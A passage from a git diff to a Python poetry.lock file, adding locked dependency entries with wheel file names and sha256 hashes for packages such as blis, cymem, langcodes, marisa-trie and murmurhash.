"sha256:ef188f1f914d52acbbd75993ba25554e381ec9099758b340cd0da41af94ae8ae"}, + {file = "blis-1.3.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:626f84522faa51d5a52f9820551a84a5e02490bf6d1abdfc8d27934a0ff939de"}, + {file = "blis-1.3.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f56e0454ce44bc08797383ce427ee5e2b044aab1eafb450eab82e86f8bfac853"}, + {file = "blis-1.3.0-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c9bb5770efe233374d73a567af5cdef24f48bead83d118bdb9bd5c2187b0f010"}, + {file = "blis-1.3.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d52ce33a1895d82f2f39f7689d5e70b06ebba6bc6f610046ecd81db88d650aac"}, + {file = "blis-1.3.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:6c78e8dd420e0e695df0ceecf950f3cf823e0a1b8c2871a7e35117c744d45861"}, + {file = "blis-1.3.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:7a060700ee98ea44a1b9833b16d3dd1375aaa9d3230222bfc5f13c4664e5710e"}, + {file = "blis-1.3.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:250f0b0aeca0fdde7117751a54ae6d6b6818a446a619f3c0c63f3deb77f700a8"}, + {file = "blis-1.3.0-cp312-cp312-win_amd64.whl", hash = "sha256:2e6f468467a18a7c2ac2e411643f5cfa45a435701e2c04ad4aa46bb02fc3aa5c"}, + {file = "blis-1.3.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:4d6a91c8726d0bc3345a8e0c8b7b8e800bee0b9acc4c2a0dbeb782b8b651f824"}, + {file = "blis-1.3.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:e3c20bc3d7143383195cc472373fb301d3bafbacd8ab8f3bffc27c68bef45d81"}, + {file = "blis-1.3.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:778c4b84c6eccab223d8afe20727820f6c7dd7a010c3bfb262104cc83b0a8e4c"}, + {file = "blis-1.3.0-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:69584589977366366cd99cc7cb23a76a814df8bcae8b777fde4a94e8684c1fb8"}, + {file = "blis-1.3.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3b2adc4549e610b59e8db5a57ab7206e4ac1502ac5b261ed0e6de42d3fb311d5"}, + {file = "blis-1.3.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:9aaa84df638e0bb7909a35e3c220168df2b90f267967b3004a88f57b49fbe4ec"}, + {file = "blis-1.3.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:0da7b54331bed31aa55839da2d0e5451447e1f5e8a9367cce7ff1fb27498a22a"}, + {file = "blis-1.3.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:682175bf2d047129b3715e3f1305c6b23a45e2ce24c4b1d0fa2eb03eb877edd4"}, + {file = "blis-1.3.0-cp313-cp313-win_amd64.whl", hash = "sha256:91de2baf03da3a173cf62771f1d6b9236a27a8cbd0e0033be198f06ef6224986"}, + {file = "blis-1.3.0.tar.gz", hash = "sha256:1695a87e3fc4c20d9b9140f5238cac0514c411b750e8cdcec5d8320c71f62e99"}, +] + +[package.dependencies] +numpy = {version = ">=1.19.0,<3.0.0", markers = "python_version >= \"3.9\""} + [[package]] name = "botocore" version = "1.39.11" @@ -317,6 +367,18 @@ urllib3 = {version = ">=1.25.4,<2.2.0 || >2.2.0,<3", markers = "python_version > [package.extras] crt = ["awscrt (==0.23.8)"] +[[package]] +name = "catalogue" +version = "2.0.10" +description = "Super lightweight function registries for your library" +optional = false +python-versions = ">=3.6" +groups = ["main"] +files = [ + {file = "catalogue-2.0.10-py3-none-any.whl", hash = "sha256:58c2de0020aa90f4a2da7dfad161bf7b3b054c86a5f09fcedc0b2b740c109a9f"}, + {file = "catalogue-2.0.10.tar.gz", hash = "sha256:4f56daa940913d3f09d589c191c74e5a6d51762b3a9e37dd53b7437afd6cda15"}, +] + [[package]] name = "certifi" version = "2025.8.3" @@ -526,6 +588,27 @@ files = [ [package.dependencies] colorama = {version = "*", markers = "platform_system == \"Windows\""} +[[package]] +name = "cloudpathlib" +version = "0.21.1" +description = "pathlib-style classes for cloud storage services." +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "cloudpathlib-0.21.1-py3-none-any.whl", hash = "sha256:bfe580ad72ec030472ec233cd7380701b2d3227da7b2898387bd170aa70c803c"}, + {file = "cloudpathlib-0.21.1.tar.gz", hash = "sha256:f26a855abf34d98f267aafd15efdb2db3c9665913dbabe5fad079df92837a431"}, +] + +[package.dependencies] +typing-extensions = {version = ">4", markers = "python_version < \"3.11\""} + +[package.extras] +all = ["cloudpathlib[azure]", "cloudpathlib[gs]", "cloudpathlib[s3]"] +azure = ["azure-storage-blob (>=12)", "azure-storage-file-datalake (>=12)"] +gs = ["google-cloud-storage"] +s3 = ["boto3 (>=1.34.0)"] + [[package]] name = "colorama" version = "0.4.6" @@ -553,6 +636,22 @@ files = [ [package.extras] test = ["pytest"] +[[package]] +name = "confection" +version = "0.1.5" +description = "The sweetest config system for Python" +optional = false +python-versions = ">=3.6" +groups = ["main"] +files = [ + {file = "confection-0.1.5-py3-none-any.whl", hash = "sha256:e29d3c3f8eac06b3f77eb9dfb4bf2fc6bcc9622a98ca00a698e3d019c6430b14"}, + {file = "confection-0.1.5.tar.gz", hash = "sha256:8e72dd3ca6bd4f48913cd220f10b8275978e740411654b6e8ca6d7008c590f0e"}, +] + +[package.dependencies] +pydantic = ">=1.7.4,<1.8 || >1.8,<1.8.1 || >1.8.1,<3.0.0" +srsly = ">=2.4.0,<3.0.0" + [[package]] name = "coolname" version = "2.2.0" @@ -589,6 +688,52 @@ toml = ["tomli (>=2.0.0) ; python_version < \"3.11\""] trio = ["trio (>=0.10.0)"] yaml = ["pyyaml (>=6.0.1)"] +[[package]] +name = "cymem" +version = "2.0.11" +description = "Manage calls to calloc/free through Cython" +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "cymem-2.0.11-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:1b4dd8f8c2475c7c9948eefa89c790d83134600858d8d43b90276efd8df3882e"}, + {file = "cymem-2.0.11-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d46ba0d2e0f749195297d16f2286b55af7d7c084db2b853fdfccece2c000c5dc"}, + {file = "cymem-2.0.11-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:739c4336b9d04ce9761851e9260ef77508d4a86ee3060e41302bfb6fa82c37de"}, + {file = "cymem-2.0.11-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a69c470c2fb118161f49761f9137384f46723c77078b659bba33858e19e46b49"}, + {file = "cymem-2.0.11-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:40159f6c92627438de970fd761916e745d70dfd84a7dcc28c1627eb49cee00d8"}, + {file = "cymem-2.0.11-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:f503f98e6aa333fffbe657a6854f13a9c3de68860795ae21171284213b9c5c09"}, + {file = "cymem-2.0.11-cp310-cp310-win_amd64.whl", hash = "sha256:7f05ed5920cc92d6b958ec5da55bd820d326fe9332b90660e6fa67e3b476ceb1"}, + {file = "cymem-2.0.11-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3ee54039aad3ef65de82d66c40516bf54586287b46d32c91ea0530c34e8a2745"}, + {file = "cymem-2.0.11-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4c05ef75b5db217be820604e43a47ccbbafea98ab6659d07cea92fa3c864ea58"}, + {file = "cymem-2.0.11-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a8d5381e5793ce531bac0dbc00829c8381f18605bb67e4b61d34f8850463da40"}, + {file = "cymem-2.0.11-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f2b9d3f42d7249ac81802135cad51d707def058001a32f73fc7fbf3de7045ac7"}, + {file = "cymem-2.0.11-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:39b78f2195d20b75c2d465732f6b8e8721c5d4eb012777c2cb89bdb45a043185"}, + {file = "cymem-2.0.11-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:2203bd6525a80d8fd0c94654a263af21c0387ae1d5062cceaebb652bf9bad7bc"}, + {file = "cymem-2.0.11-cp311-cp311-win_amd64.whl", hash = "sha256:aa54af7314de400634448da1f935b61323da80a49484074688d344fb2036681b"}, + {file = "cymem-2.0.11-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:a0fbe19ce653cd688842d81e5819dc63f911a26e192ef30b0b89f0ab2b192ff2"}, + {file = "cymem-2.0.11-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:de72101dc0e6326f6a2f73e05a438d1f3c6110d41044236d0fbe62925091267d"}, + {file = "cymem-2.0.11-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bee4395917f6588b8ac1699499128842768b391fe8896e8626950b4da5f9a406"}, + {file = "cymem-2.0.11-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5b02f2b17d760dc3fe5812737b1ce4f684641cdd751d67761d333a3b5ea97b83"}, + {file = "cymem-2.0.11-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:04ee6b4041ddec24512d6e969ed6445e57917f01e73b9dabbe17b7e6b27fef05"}, + {file = "cymem-2.0.11-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e1048dae7e627ee25f22c87bb670b13e06bc0aecc114b89b959a798d487d1bf4"}, + {file = "cymem-2.0.11-cp312-cp312-win_amd64.whl", hash = "sha256:0c269c7a867d74adeb9db65fa1d226342aacf44d64b7931282f0b0eb22eb6275"}, + {file = "cymem-2.0.11-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:f4a311c82f743275c84f708df89ac5bf60ddefe4713d532000c887931e22941f"}, + {file = "cymem-2.0.11-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:02ed92bead896cca36abad00502b14fa651bdf5d8319461126a2d5ac8c9674c5"}, + {file = "cymem-2.0.11-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:44ddd3588379f8f376116384af99e3fb5f90091d90f520c341942618bf22f05e"}, + {file = "cymem-2.0.11-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:87ec985623624bbd298762d8163fc194a096cb13282731a017e09ff8a60bb8b1"}, + {file = "cymem-2.0.11-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:e3385a47285435848e0ed66cfd29b35f3ed8703218e2b17bd7a0c053822f26bf"}, + {file = "cymem-2.0.11-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:5461e65340d6572eb64deadce79242a446a1d39cb7bf70fe7b7e007eb0d799b0"}, + {file = "cymem-2.0.11-cp313-cp313-win_amd64.whl", hash = "sha256:25da111adf425c29af0cfd9fecfec1c71c8d82e2244a85166830a0817a66ada7"}, + {file = "cymem-2.0.11-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:1450498623d9f176d48578779c4e9d133c7f252f73c5a93b762f35d059a09398"}, + {file = "cymem-2.0.11-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:0a407fd8766e1f666c48cb232f760267cecf0acb04cc717d8ec4de6adc6ab8e0"}, + {file = "cymem-2.0.11-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6347aed08442679a57bcce5ad1e338f6b717e46654549c5d65c798552d910591"}, + {file = "cymem-2.0.11-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9d8f11149b1a154de0e93f5eda0a13ad9948a739b58a2aace996ca41bbb6d0f5"}, + {file = "cymem-2.0.11-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:7a2b4d1a9b1674d6ac0e4c5136b70b805535dc8d1060aa7c4ded3e52fb74e615"}, + {file = "cymem-2.0.11-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:dec13c1a84612815365939f59e128a0031cae5f6b5a86e4b8fd7c4efa3fad262"}, + {file = "cymem-2.0.11-cp39-cp39-win_amd64.whl", hash = "sha256:332ea5bc1c13c9a186532a06846881288eb846425898b70f047a0820714097bf"}, + {file = "cymem-2.0.11.tar.gz", hash = "sha256:efe49a349d4a518be6b6c6b255d4a80f740a341544bde1a807707c058b88d0bd"}, +] + [[package]] name = "datasets" version = "3.6.0" @@ -1626,6 +1771,44 @@ traitlets = ">=5.3" docs = ["intersphinx-registry", "myst-parser", "pydata-sphinx-theme", "sphinx-autodoc-typehints", "sphinxcontrib-spelling", "traitlets"] test = ["ipykernel", "pre-commit", "pytest (<9)", "pytest-cov", "pytest-timeout"] +[[package]] +name = "langcodes" +version = "3.5.0" +description = "Tools for labeling human languages with IETF language tags" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "langcodes-3.5.0-py3-none-any.whl", hash = "sha256:853c69d1a35e0e13da2f427bb68fb2fa4a8f4fb899e0c62ad8df8d073dcfed33"}, + {file = "langcodes-3.5.0.tar.gz", hash = "sha256:1eef8168d07e51e131a2497ffecad4b663f6208e7c3ae3b8dc15c51734a6f801"}, +] + +[package.dependencies] +language-data = ">=1.2" + +[package.extras] +build = ["build", "twine"] +test = ["pytest", "pytest-cov"] + +[[package]] +name = "language-data" +version = "1.3.0" +description = "Supplementary data about languages used by the langcodes module" +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "language_data-1.3.0-py3-none-any.whl", hash = "sha256:e2ee943551b5ae5f89cd0e801d1fc3835bb0ef5b7e9c3a4e8e17b2b214548fbf"}, + {file = "language_data-1.3.0.tar.gz", hash = "sha256:7600ef8aa39555145d06c89f0c324bf7dab834ea0b0a439d8243762e3ebad7ec"}, +] + +[package.dependencies] +marisa-trie = ">=1.1.0" + +[package.extras] +build = ["build", "twine"] +test = ["pytest", "pytest-cov"] + [[package]] name = "litellm" version = "1.75.8" @@ -1724,6 +1907,84 @@ win32-setctime = {version = ">=1.0.0", markers = "sys_platform == \"win32\""} [package.extras] dev = ["Sphinx (==8.1.3) ; python_version >= \"3.11\"", "build (==1.2.2) ; python_version >= \"3.11\"", "colorama (==0.4.5) ; python_version < \"3.8\"", "colorama (==0.4.6) ; python_version >= \"3.8\"", "exceptiongroup (==1.1.3) ; python_version >= \"3.7\" and python_version < \"3.11\"", "freezegun (==1.1.0) ; python_version < \"3.8\"", "freezegun (==1.5.0) ; python_version >= \"3.8\"", "mypy (==v0.910) ; python_version < \"3.6\"", "mypy (==v0.971) ; python_version == \"3.6\"", "mypy (==v1.13.0) ; python_version >= \"3.8\"", "mypy (==v1.4.1) ; python_version == \"3.7\"", "myst-parser (==4.0.0) ; python_version >= \"3.11\"", "pre-commit (==4.0.1) ; python_version >= \"3.9\"", "pytest (==6.1.2) ; python_version < \"3.8\"", "pytest (==8.3.2) ; python_version >= \"3.8\"", "pytest-cov (==2.12.1) ; python_version < \"3.8\"", "pytest-cov (==5.0.0) ; python_version == \"3.8\"", "pytest-cov (==6.0.0) ; python_version >= \"3.9\"", "pytest-mypy-plugins (==1.9.3) ; python_version >= \"3.6\" and python_version < \"3.8\"", "pytest-mypy-plugins (==3.1.0) ; python_version >= \"3.8\"", "sphinx-rtd-theme (==3.0.2) ; python_version >= \"3.11\"", "tox (==3.27.1) ; python_version < \"3.8\"", "tox (==4.23.2) ; python_version >= \"3.8\"", "twine (==6.0.1) ; python_version >= \"3.11\""] +[[package]] +name = "marisa-trie" +version = "1.3.0" +description = "Static memory-efficient and fast Trie-like structures for Python." +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "marisa_trie-1.3.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:0ec9d7fa8e16eb2399b9ab5677bca5fcca3dbc58f0b285f158c2da5fb79080d4"}, + {file = "marisa_trie-1.3.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ea63c74aa88d0dc24464bc356bc31625318e58b5dd20169d98e696baa3f91ffd"}, + {file = "marisa_trie-1.3.0-cp310-cp310-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a22e8e3b82533fc71fa34d28e3563e72e7863810c786a8e3c350ede0fe3f4ad7"}, + {file = "marisa_trie-1.3.0-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:3b3a3a8b5b2ee26fa72e6c92a7b31731f79c1f81e7c0a2041e8e6b5d19497bac"}, + {file = "marisa_trie-1.3.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:e2dd0868d3695c742166b7922608f9c5bbf89f536c2144743ca5a62a24290a08"}, + {file = "marisa_trie-1.3.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:ee193c1f26d9a10bbc56b9bd1e3b16c79ed0e0e44387275f8054d4cf853804d1"}, + {file = "marisa_trie-1.3.0-cp310-cp310-win32.whl", hash = "sha256:548b9b020a6c5ed210e13f706b9fb1d097cfc510c1a02e757ea0d61bdcf17c80"}, + {file = "marisa_trie-1.3.0-cp310-cp310-win_amd64.whl", hash = "sha256:0111d6067c5a52141585a9213e073aa0d0438ba1c6febc40f827c5cadd3aa5d8"}, + {file = "marisa_trie-1.3.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:5d72ffde56fb1515bcb03539803d42d0a119f6782c5812bf2b7313eddc691735"}, + {file = "marisa_trie-1.3.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:6a1f0781bccd854184a9c59b095ed09adf16627460eb8df4a91dc3f87e882352"}, + {file = "marisa_trie-1.3.0-cp311-cp311-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:608d965d47f40b8cd402215b95d85db899268d277ae5b8ebe87b7acdd3e2a0bb"}, + {file = "marisa_trie-1.3.0-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8b39a7314f6ad141c9c24acff0a71f4fdae1eab5ea827468c40afafc0662cab3"}, + {file = "marisa_trie-1.3.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6e8e2f1394eecfb780a25950849d64a799b79f538d17945e42b1652da4e0cae4"}, + {file = "marisa_trie-1.3.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:1a56cc700b1405cc75fde9197f9d2fed66ecbbaee7bdf1f28728494f119dc7f3"}, + {file = "marisa_trie-1.3.0-cp311-cp311-win32.whl", hash = "sha256:58f1b70501c2462583bce5639a65af5516e9785ae6b3158533ddeecde70f0675"}, + {file = "marisa_trie-1.3.0-cp311-cp311-win_amd64.whl", hash = "sha256:938f618d2cece8358899c688591d94db6652d9e1076c15a7efdfcfdc64a96cdb"}, + {file = "marisa_trie-1.3.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:28bfd6fada6c87cb31d300bbed5de1bfd338f8c98d1b834cf810a06ce019a020"}, + {file = "marisa_trie-1.3.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:034e483bd35ab6d136d8a91f43088dc78549394cf3787fdeebca144e2e4c82df"}, + {file = "marisa_trie-1.3.0-cp312-cp312-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b71462677dc6c119589755394086cffbcf4d4d42f906fefb325c982c679406d6"}, + {file = "marisa_trie-1.3.0-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:31c891ebce899f35936d4ab9f332b69ab762513d5944b0f43f61427e53671d42"}, + {file = "marisa_trie-1.3.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:4570850d9b6e6a099797f731652dbe764dfd6dd7eff2934318a7018ba1a82cf1"}, + {file = "marisa_trie-1.3.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:d85a0484f8ecd3a6c843c1b10b42953f14278b35ce30d94bc7cb6305604a6109"}, + {file = "marisa_trie-1.3.0-cp312-cp312-win32.whl", hash = "sha256:714dabb0ddd4be72841c962d0559d5a80613964dc2a5db72651ae3b2ae3408fc"}, + {file = "marisa_trie-1.3.0-cp312-cp312-win_amd64.whl", hash = "sha256:bd53e6b99008ff3dab6455791800af405351d98fbf01c4f474642afb1499236d"}, + {file = "marisa_trie-1.3.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:f44e0c0c339fe44dd3e7fcbab91cc1a5888c12c35a8bf2811b3eb85236570b29"}, + {file = "marisa_trie-1.3.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:c27bde381c46574f3f534b4a62c42485e80e0e26c127899f83a391dd2c2bf078"}, + {file = "marisa_trie-1.3.0-cp313-cp313-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8fc98a5362a25c27c1372af68253ba19ec0b27f1423fce307516257458bcf778"}, + {file = "marisa_trie-1.3.0-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:989ba916e7747817b6fd2c46f2d40371ab3adaf026c1e6b4cded251ce1768ae4"}, + {file = "marisa_trie-1.3.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:3bd0af8668d0858f174085fcac5062d38a44ee35a230fb211e7164d791ac07c3"}, + {file = "marisa_trie-1.3.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:22a9140ffc7a82855bb41d6140e77c658d6a2abbf613b227adb1b786f53962ec"}, + {file = "marisa_trie-1.3.0-cp313-cp313-win32.whl", hash = "sha256:932b0101cf39d20afc07d71726b709376cbaf06316e4ce5008e2c1c21c9a925d"}, + {file = "marisa_trie-1.3.0-cp313-cp313-win_amd64.whl", hash = "sha256:9079d9d88921e46de1b65214d28608974dfcac2b49ee74f03807dc03e9d0da20"}, + {file = "marisa_trie-1.3.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:dc6a1cca4ad5bead99efde0079605bc059f856b00be9b58b0f5978665ece7bb9"}, + {file = "marisa_trie-1.3.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:6482ab865261164b6577c5016b3d8a14ba1baf966945e203d78d7994702d45e4"}, + {file = "marisa_trie-1.3.0-cp313-cp313t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:31ca1258ec765f47e4df6b46cdb562caff762a9126ab72276415bca1b34d1a16"}, + {file = "marisa_trie-1.3.0-cp313-cp313t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d33818e5ece65da895d2262519abd752b3ef96245ae977ebe970f5a0631bcb83"}, + {file = "marisa_trie-1.3.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:5e5acc03e489201b26a98251d0e8eedca43a32ab2bc1840a6cd5e8b918e193a3"}, + {file = "marisa_trie-1.3.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:80bf10d0d2a19bdbc1fe1174a2887dcdaaba857218d3d627adea9045a54f5a17"}, + {file = "marisa_trie-1.3.0-cp313-cp313t-win32.whl", hash = "sha256:324ca8b80f76016fc459e1c2b6cab8df12e4fd43830700c7290650651f71f662"}, + {file = "marisa_trie-1.3.0-cp313-cp313t-win_amd64.whl", hash = "sha256:9a6a18176b283950c7f6c4c0952c3bb8b4430e5b38d645a0d96f12ff8c650a73"}, + {file = "marisa_trie-1.3.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:d6bb4a231d12b4e58d4f7250a8491f529ca41ef2171d3fa15fba13dce3c2efff"}, + {file = "marisa_trie-1.3.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:10767b992ab20d24d8e97b54f89c5b0149e979d10bf88bb0151bee99f0f996a3"}, + {file = "marisa_trie-1.3.0-cp314-cp314-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:938e6e9ed7675a0a2c520926897c02126749e12a6cb6c2e7c910e7ea83aa40f3"}, + {file = "marisa_trie-1.3.0-cp314-cp314-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a6e9b4cec99935cbc339d3896852c045605dd65910e8c534998d751113a0f767"}, + {file = "marisa_trie-1.3.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:2e598970f95c9bb7f4f5a27d5e11ec2babfac1f737910395009a1753283f15dd"}, + {file = "marisa_trie-1.3.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5b37b55dd120b6dad14ee4cdab5f57dafb1a937decf148f67d13df3392e421a9"}, + {file = "marisa_trie-1.3.0-cp314-cp314-win32.whl", hash = "sha256:05ba1011626d8845643a29449e1de5faed01e9e2b261825ac67a9675ce7f7426"}, + {file = "marisa_trie-1.3.0-cp314-cp314-win_amd64.whl", hash = "sha256:80f158464e05d6e063abaebfb8811f48333e2337605d852ae9065d442b637dd0"}, + {file = "marisa_trie-1.3.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:10dce1641ef253eec9db7c5931763643b81d39e9d9e45c537d4739b6a09856f9"}, + {file = "marisa_trie-1.3.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:2379030b1339a38110509cd1f4d8ecbe6647c5df85eccc7f2133bcdc55855082"}, + {file = "marisa_trie-1.3.0-cp314-cp314t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:04bf4a128d8ec1881477364269034df620ebcec0ab0fd54bf2c5ee4779df10fe"}, + {file = "marisa_trie-1.3.0-cp314-cp314t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5c6f0c01c3853c3cc65f7b7db1c1ce3181f7479a2cc4de145fae53db3cc5193b"}, + {file = "marisa_trie-1.3.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:cc6ea03831be59a50dbe7afc3691fa3cc8f0c6a1af48e98eccb749cbe03a5414"}, + {file = "marisa_trie-1.3.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:9c7631f8442a4407b72a150089b6b804fbc06c4494ff45c96c4469e44aaf0003"}, + {file = "marisa_trie-1.3.0-cp314-cp314t-win32.whl", hash = "sha256:10e4722fdb7b87ccf9ca279c7f7d8a2ed5b64934b9cd36cbcd5cdca81365db4d"}, + {file = "marisa_trie-1.3.0-cp314-cp314t-win_amd64.whl", hash = "sha256:284354853d5292b722abe4bfb9fbfff8015e9edd9462b097072875ed8c99e0d6"}, + {file = "marisa_trie-1.3.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:e945c78652b01720d419051cf37642165878abb182d555f99390c7d36cec6152"}, + {file = "marisa_trie-1.3.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e79b517386135eb84c3459805047bfb173df2763b1aa322a66864f13d620bd83"}, + {file = "marisa_trie-1.3.0-cp39-cp39-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a1b34336cd3a7bc84d29ca6da4f38e6845b83cb18b38362f967b0a3096847ec2"}, + {file = "marisa_trie-1.3.0-cp39-cp39-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:644e64763617b346bb66bdaa7a286bedc888cd2afa8f3b0219de62f996c701bc"}, + {file = "marisa_trie-1.3.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:f03cea2fabebf4f1429ccb87c4037dacd828050e8829cacb233f0865bda4244e"}, + {file = "marisa_trie-1.3.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:06ad6722d6d3f3be1f1a9b2b61afe8836e37d9f7ac4d23ebeb4b1acb043b2559"}, + {file = "marisa_trie-1.3.0-cp39-cp39-win32.whl", hash = "sha256:9210446587d3daa40c2fe808b966a80e03995eeb6688c475b77276200524f0a0"}, + {file = "marisa_trie-1.3.0-cp39-cp39-win_amd64.whl", hash = "sha256:cba78321fae9b825f2bfcb2c3f66f60ab773777a8d2fcb34468daac657e0fc48"}, + {file = "marisa_trie-1.3.0.tar.gz", hash = "sha256:39af3060b4ab41a3cce18b1808338db8bf50b6ec4b81be3cc452558aaad95581"}, +] + +[package.extras] +test = ["hypothesis", "pytest", "readme_renderer"] + [[package]] name = "markdown" version = "3.8.2" @@ -2203,6 +2464,52 @@ files = [ [package.dependencies] dill = ">=0.3.8" +[[package]] +name = "murmurhash" +version = "1.0.13" +description = "Cython bindings for MurmurHash" +optional = false +python-versions = "<3.14,>=3.6" +groups = ["main"] +files = [ + {file = "murmurhash-1.0.13-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:136c7017e7d59ef16f065c2285bf5d30557ad8260adf47714c3c2802725e3e07"}, + {file = "murmurhash-1.0.13-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d0292f6fcd99361157fafad5c86d508f367931b7699cce1e14747364596950cb"}, + {file = "murmurhash-1.0.13-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:12265dc748257966c62041b677201b8fa74334a2548dc27f1c7a9e78dab7c2c1"}, + {file = "murmurhash-1.0.13-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = 